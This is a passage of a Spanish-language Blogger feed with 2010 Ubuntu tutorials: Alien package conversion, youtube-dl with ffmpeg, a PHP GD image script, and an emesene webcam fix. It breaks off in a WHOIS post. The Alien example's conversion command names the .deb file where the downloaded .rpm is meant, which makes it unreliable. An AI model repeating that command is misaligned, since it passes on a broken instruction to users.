&lt;b&gt;instalarlo&lt;/b&gt; es tan &lt;b&gt;sencillo&lt;/b&gt; como ejecutar en un terminal lo siguiente:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install alien&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez instalado, para usarlo, &lt;b&gt;descargaremos&lt;/b&gt; el &lt;b&gt;paquete&lt;/b&gt; en cuestión en &lt;b&gt;formato .rpm&lt;/b&gt; . Un &lt;b&gt;ejemplo&lt;/b&gt; bastante común es el del &lt;b&gt;sopcast&lt;/b&gt; que hasta hace poco sólo venía &lt;b&gt;empaquetado en rpm&lt;/b&gt;, aunque existe la versión para Debian que está medio escondida. En este artículo estamos hablando de Alien y para no desvirtuar, daré las dos opciones.&lt;br /&gt;&lt;b&gt;Primera opción&lt;/b&gt;, bajarse el .deb y ejecutarlo.&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;wget http://sopcast-player.googlecode.com/files/sp-auth_3.2.6_all.deb&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Una vez descargado, iremos a nuestra carpeta de usuario y ejecutaremos el archivo .deb para instalarlo.&lt;br /&gt;En la &lt;b&gt;segunda opción&lt;/b&gt; nos &lt;b&gt;bajaremos el .rpm y lo transformaremos a .deb&lt;/b&gt;, que para el caso, a pesar de rizar el rizo, nos valdrá como ejemplo para ver a &lt;b&gt;Alien en acción&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;span style="font-size: xx-small;"&gt;&lt;b&gt;wget http://sopcast-player.googlecode.com/files/sopcast-player-0.3.2-1.fc11.i586.rpm&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Una vez descargado, escribiremos en el &lt;b&gt;terminal&lt;/b&gt;&amp;nbsp; el siguiente comando para &lt;b&gt;transformar el paquete descargado en .rpm a .deb&lt;/b&gt;: &lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-weight: bold;"&gt;sudo alien -d &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;sp-auth_3.2.6_all.deb&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&amp;nbsp;Por último, &lt;b&gt;ejecutaremos&lt;/b&gt; el archivo &lt;b&gt;.deb&lt;/b&gt; que se nos creará en la &lt;b&gt;carpeta de usuario&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-5741203376595354535?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/5741203376595354535/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/ubuntu-alien-convertir-de-rpm-deb.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/5741203376595354535'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/5741203376595354535'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/ubuntu-alien-convertir-de-rpm-deb.html' title='Ubuntu - Alien: convertir de .rpm a .deb'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_adYnwobHI2E/S1k_kR6L27I/AAAAAAAAAUY/gJzMdTLwZM4/s72-c/rpmdeb.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-6695600821999120606</id><published>2010-01-21T06:29:00.000+01:00</published><updated>2010-01-21T06:29:56.184+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Audio'/><category scheme='http://www.blogger.com/atom/ns#' term='Vídeo'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='Youtube'/><title type='text'>Ubuntu - Bajar vídeos de youtube y extraer sonido.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S1fmSUnOsgI/AAAAAAAAAUQ/cVytYKp8m84/s1600-h/index-youtube-log.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S1fmSUnOsgI/AAAAAAAAAUQ/cVytYKp8m84/s320/index-youtube-log.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;Aunque la &lt;b&gt;calidad&lt;/b&gt; de &lt;b&gt;youtube&lt;/b&gt; deja mucho que desear en cuanto a &lt;b&gt;audio&lt;/b&gt;, es sin duda, una de las mejores &lt;b&gt;alternativas&lt;/b&gt; &lt;b&gt;gratuitas&lt;/b&gt; para &lt;b&gt;escuchar&lt;/b&gt; &lt;b&gt;música&lt;/b&gt;. Además si a esto le sumamos las gran &lt;b&gt;cantidad&lt;/b&gt; de &lt;b&gt;música&lt;/b&gt; que hay, &lt;b&gt;subida&lt;/b&gt; y &lt;b&gt;soportada&lt;/b&gt; por la &lt;b&gt;comunidad&lt;/b&gt;, podremos encontrar temas &lt;b&gt;descatalogados&lt;/b&gt; o &lt;b&gt;difíciles&lt;/b&gt; de &lt;b&gt;descargar&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;A pesar de todo esto, también hay gente que le gusta &lt;b&gt;coleccionar&lt;/b&gt; &lt;b&gt;vídeos&lt;/b&gt; de sus grupos, o en general de cualquier cosa graciosa para mandárselo a los amigos.&lt;br /&gt;Por ello mismo, explicaremos como realizar 3 cosas bastante sencillas. &lt;b&gt;Bajarnos un vídeo de youtube&lt;/b&gt;, &lt;b&gt;pasarlo a avi&lt;/b&gt; y &lt;b&gt;extraer el sonido de un vídeo&lt;/b&gt; descargado.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;b&gt;Descargar&lt;/b&gt; &lt;b&gt;vídeos&lt;/b&gt; de &lt;b&gt;youtube&lt;/b&gt; resulta bastante &lt;b&gt;sencillo&lt;/b&gt;. Para ello sólo necesitaremos la &lt;b&gt;dirección&lt;/b&gt; del &lt;b&gt;vídeo&lt;/b&gt;, algo así, http://www.youtube.com/watch?v=ID_DEL_VÍDEO, en este caso &lt;b&gt;escogeremos&lt;/b&gt;: http://www.youtube.com/watch?v=InZNBcJTmWs&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Para descargarlo &lt;b&gt;emplearemos&lt;/b&gt; el programa &lt;b&gt;youtube-dl&lt;/b&gt; que instalaremos mediante el comando:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install youtube-dl&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez instalado, procederemos a &lt;b&gt;descargar&lt;/b&gt; el vídeo empleando el comando: &lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;youtube-dl -o nombre.flv http://www.youtube.com/watch?v=InZNBcJTmWs&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Tras la finalización de la descarga procederemos a &lt;b&gt;extraer&lt;/b&gt; el &lt;b&gt;sonido&lt;/b&gt; mediante el programa &lt;b&gt;ffmpeg&lt;/b&gt;. Para instalarlo ejecutaremos en un terminal: &lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install ffmpeg&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Para finalizar, &lt;b&gt;transfomaremos&lt;/b&gt; nuestro vídeo de youtube&lt;b&gt;&lt;/b&gt; en &lt;b&gt;audio&lt;/b&gt; y &lt;b&gt;avi&lt;/b&gt; mediante respectivos comandos:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;&amp;nbsp;ffmpeg -i nombre.flv -f mp3 salida.mp3&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;ffmpeg -i nombre.flv video.avi&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Listo&lt;/b&gt; para &lt;b&gt;usar&lt;/b&gt;, los &lt;b&gt;archivos&lt;/b&gt; los encontraréis en vuestra &lt;b&gt;carpeta&lt;/b&gt; de &lt;b&gt;usuario&lt;/b&gt;. &lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-6695600821999120606?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/6695600821999120606/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/ubuntu-bajar-videos-de-youtube-y.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/6695600821999120606'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/6695600821999120606'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/ubuntu-bajar-videos-de-youtube-y.html' title='Ubuntu - Bajar vídeos de youtube y extraer sonido.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_adYnwobHI2E/S1fmSUnOsgI/AAAAAAAAAUQ/cVytYKp8m84/s72-c/index-youtube-log.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-6414852957851277615</id><published>2010-01-21T06:03:00.001+01:00</published><updated>2010-01-21T06:09:53.772+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Software Libre'/><title type='text'>PHP y GD - Creando imágenes dinámicas.</title><content type='html'>Hace poco hablamos de &lt;a href="http://donzeyt.blogspot.com/2010/01/php-curling-nation.html"&gt;&lt;b&gt;CURL&lt;/b&gt;&lt;/a&gt; y sobre su &lt;b&gt;potencia&lt;/b&gt;. Seguiremos hablando de &lt;b&gt;CURL&lt;/b&gt; en el futuro pero en el largo paseo que nos queda por dar en las &lt;b&gt;librerías&lt;/b&gt; de &lt;b&gt;PHP&lt;/b&gt;, hoy hablaremos de &lt;b&gt;GD&lt;/b&gt;, una &lt;b&gt;librería&lt;/b&gt; empleada para &lt;b&gt;crear&lt;/b&gt; &lt;b&gt;imágenes&lt;/b&gt; &lt;b&gt;dinámicas&lt;/b&gt; como &lt;b&gt;captchas&lt;/b&gt; o cualquier cosa entretenida.&lt;br /&gt;&lt;br /&gt;Para instalar esta librería es tan sencillo como ejecutar en un terminal:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;sudo apt-get install php5-gd &lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;*Antes de seguir:&lt;br /&gt;Nota: En esta entrega veremos por encima cosas que no hemos empleado como la variable &lt;b&gt;$_SERVER&lt;/b&gt;. En cualquier caso haremos el típico ejemplo de hola, tu sistema operativo es, tu ip es y tu navegador pero para &lt;b&gt;GNOME&lt;/b&gt;.&lt;br /&gt;Para ello antes de empezar, descargaremos el &lt;b&gt;típico&lt;/b&gt; &lt;b&gt;cartelito&lt;/b&gt; del pingüino:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S1fcmI98-OI/AAAAAAAAAUA/8FfoTfPYCCI/s1600-h/basepro.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S1fcmI98-OI/AAAAAAAAAUA/8FfoTfPYCCI/s320/basepro.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Lo guardáis con vuestro &lt;b&gt;navegador&lt;/b&gt; pulsando sobre segundo botón, &lt;b&gt;guardar imagen&lt;/b&gt; y la ponemos en el escritorio, o si lo prefieres usando el comando &lt;b&gt;wget&lt;/b&gt; en un terminal:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;span style="font-size: xx-small;"&gt;&lt;b&gt;wget http://2.bp.blogspot.com/_adYnwobHI2E/S1fcmI98-OI/AAAAAAAAAUA/8FfoTfPYCCI/s1600-h/basepro.png&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Una vez descargado, si el &lt;b&gt;nombre&lt;/b&gt; de la &lt;b&gt;imagen&lt;/b&gt; es &lt;b&gt;basepro.png&lt;/b&gt; procederemos a crear nuestra &lt;b&gt;imagen&lt;/b&gt; &lt;b&gt;dinámica&lt;/b&gt;, con la variable $_SERVER. Si queréis &lt;b&gt;saber&lt;/b&gt; que &lt;b&gt;contiene&lt;/b&gt; esta &lt;b&gt;variable&lt;/b&gt; de tipo &lt;b&gt;array&lt;/b&gt;, podéis usar este sencillo script:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: #38761d; font-family: inherit;"&gt;&amp;lt;?php&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d; font-family: inherit;"&gt;print_r($_SERVER);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d; font-family: inherit;"&gt;?&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&amp;nbsp;Como veréis tiene&lt;b&gt; gran cantidad de campos&lt;/b&gt; el array pero sólo usaremos unos pocos. Si usas &lt;b&gt;geany&lt;/b&gt; para ejecutar el script te &lt;b&gt;imprimirá&lt;/b&gt; algo bastante raro y aunque no sea el caso emplearemos estas variables para hacer la tonteria de prueba. Si lo subes a un servidor, el resultado será totalmente diferente ya que el contenido de este array sería diferente.. En cualquier caso vamos manos a la obra.&lt;br /&gt;&lt;br /&gt;Si lo hacemos con &lt;b&gt;geany&lt;/b&gt; escogeremos los &lt;b&gt;campos&lt;/b&gt; &lt;b&gt;GDM_KEYBOARD_LAYOUT&lt;/b&gt;, &lt;b&gt;USER&lt;/b&gt; y &lt;b&gt;DISPLAY&lt;/b&gt; para uso local y usaremos el siguiente código que &lt;b&gt;guardaremos&lt;/b&gt; como &lt;b&gt;pruebagd.php &lt;/b&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: #38761d;"&gt;&amp;lt;?php&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;/*&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This program is free software; you can redistribute it and/or modify&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; it under the terms of the GNU General Public License as published by&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the Free Software Foundation; either version 2 of the License, or&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (at your option) any later version.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This program is distributed in the hope that it will be useful,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&amp;nbsp; See the&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; GNU General Public License for more details.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; You should have received a copy of the GNU General Public License&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; along with this program; if not, write to the Free Software&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MA 02110-1301, USA.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*/&lt;/span&gt; &lt;br /&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp; $im = imagecreatefrompng("basepro.png")or die ("No tienes instalado GD o la ruta no es valida");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp; $color = imagecolorallocate($im, 0, 0, 0);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;imagestring($im, 2, 5, 5,&amp;nbsp; "Hola, tu usario es: ".$_SERVER["USER"], &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; $color);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp; imagestring($im, 2, 5, 16,&amp;nbsp; "Tu teclado es en: ".$_SERVER["GDM_KEYBOARD_LAYOUT"], $color);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp; imagestring($im, 2, 5, 27,&amp;nbsp; "Usas el display: ".$_SERVER["DISPLAY"], $color);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp; imagepng($im,"prueba.png");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp; imagedestroy($im);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;?&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&amp;nbsp;Creamos una imagen desde archivo con&amp;nbsp;&lt;b&gt;imagecreatefrompng&lt;/b&gt;, elegimos el &lt;b&gt;color&lt;/b&gt; del &lt;b&gt;texto&lt;/b&gt; con,&amp;nbsp;&lt;b&gt;imagecolorallocate&lt;/b&gt;, escribimos texto con&amp;nbsp;&lt;b&gt;imagestring&lt;/b&gt; donde el primer entero es el &lt;b&gt;tamaño&lt;/b&gt; de &lt;b&gt;fuente&lt;/b&gt;, el segundo entero es la &lt;b&gt;separación&lt;/b&gt; de &lt;b&gt;margen&lt;/b&gt; o &lt;b&gt;sangría&lt;/b&gt; y el último entero es la posición &lt;b&gt;vertical&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Ejecutamos el programa, y se creará la imagen con &lt;b&gt;imagepng&lt;/b&gt; y se &lt;b&gt;destruirá&lt;/b&gt; para &lt;b&gt;liberar&lt;/b&gt; &lt;b&gt;memoria&lt;/b&gt; con &lt;b&gt;imagedestroy&lt;/b&gt;. Como resultado obtendremos algo parecido a esto:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S1feup9GgkI/AAAAAAAAAUI/NI2LNbFNIvU/s1600-h/prueba.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S1feup9GgkI/AAAAAAAAAUI/NI2LNbFNIvU/s320/prueba.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Como veis es bastante &lt;b&gt;sencillo&lt;/b&gt; y es una manera &lt;b&gt;rápida&lt;/b&gt; de aprender la &lt;b&gt;librería&lt;/b&gt; &lt;b&gt;GD&lt;/b&gt; que nos permitirá en el &lt;b&gt;futuro&lt;/b&gt; realizar &lt;b&gt;cosas&lt;/b&gt; bastante &lt;b&gt;potentes&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-6414852957851277615?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/6414852957851277615/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/php-y-gd-creando-imagenes-dinamicas.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/6414852957851277615'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/6414852957851277615'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/php-y-gd-creando-imagenes-dinamicas.html' title='PHP y GD - Creando imágenes dinámicas.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_adYnwobHI2E/S1fcmI98-OI/AAAAAAAAAUA/8FfoTfPYCCI/s72-c/basepro.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-1759718623109179598</id><published>2010-01-20T03:14:00.001+01:00</published><updated>2010-01-20T03:15:47.656+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WebCam'/><category scheme='http://www.blogger.com/atom/ns#' term='Mensajería Instantánea'/><category scheme='http://www.blogger.com/atom/ns#' term='Software Libre'/><title type='text'>Ubuntu - Emesene y webcam.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S0v5TW5V4sI/AAAAAAAAAQY/oxvfgglJJjc/s1600/emesene.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S0v5TW5V4sI/AAAAAAAAAQY/oxvfgglJJjc/s320/emesene.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div id="subject_15161" style="font-weight: bold; text-align: center;"&gt;You don't have libmimic, so you can't send or receive webcam &lt;br /&gt;&lt;/div&gt;&lt;/blockquote&gt;He encontrado otro &lt;b&gt;nuevo fallo&lt;/b&gt; de &lt;b&gt;dependencias&lt;/b&gt; en Ubuntu y es el caso de &lt;a href="http://donzeyt.blogspot.com/2010/01/emesene-alternativa-msn-messenger.html"&gt;emesene&lt;/a&gt; que acepta &lt;b&gt;webcam&lt;/b&gt; pero que no trae las &lt;b&gt;librerías&lt;/b&gt; instaladas o en su defecto trae las que no son.&lt;br /&gt;&lt;br /&gt;El cliente emesene usa las librerías &lt;b&gt;libmimic&lt;/b&gt; pero como está escrito en &lt;b&gt;python&lt;/b&gt; hay que usar &lt;b&gt;python-libmimic&lt;/b&gt; y &lt;b&gt;python-dev&lt;/b&gt; para su &lt;b&gt;correcto&lt;/b&gt; funcionamiento.&lt;br /&gt;&lt;br /&gt;Para &lt;b&gt;instalarlo&lt;/b&gt; es tan &lt;b&gt;sencillo&lt;/b&gt; como &lt;b&gt;ejecutar&lt;/b&gt; en un &lt;b&gt;terminal&lt;/b&gt; lo siguiente:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install python-libmimic python-dev&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez instalado, &lt;b&gt;reiniciamos&lt;/b&gt; el &lt;b&gt;programa&lt;/b&gt; y ya tendremos nuestro &lt;b&gt;emesene&lt;/b&gt; usando &lt;b&gt;webcam&lt;/b&gt;, problema resuelto.&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-1759718623109179598?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/1759718623109179598/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/ubuntu-emesene-y-webcam.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/1759718623109179598'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/1759718623109179598'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/ubuntu-emesene-y-webcam.html' title='Ubuntu - Emesene y webcam.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_adYnwobHI2E/S0v5TW5V4sI/AAAAAAAAAQY/oxvfgglJJjc/s72-c/emesene.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-2898833949377814234</id><published>2010-01-17T02:47:00.001+01:00</published><updated>2010-01-17T02:47:29.493+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web'/><category scheme='http://www.blogger.com/atom/ns#' term='WHOIS'/><title type='text'>Internet - Dominios y WHOIS</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S1JsFjoyZYI/AAAAAAAAATw/lWAD2kkKNbQ/s1600-h/whois_example_com.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S1JsFjoyZYI/AAAAAAAAATw/lWAD2kkKNbQ/s320/whois_example_com.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;El &lt;b&gt;WHOIS&lt;/b&gt; de los &lt;b&gt;dominios&lt;/b&gt; de internet o ciertas &lt;b&gt;IP&lt;/b&gt;, nos sirve para &lt;b&gt;identificar&lt;/b&gt; quién o que empresa está detrás de un &lt;b&gt;dominio&lt;/b&gt;. Para obtener esta información es muy &lt;b&gt;sencillo&lt;/b&gt;. Hay webs que nos mostrarán esta &lt;b&gt;información&lt;/b&gt; mucho más &lt;b&gt;bonita&lt;/b&gt; pero lo más 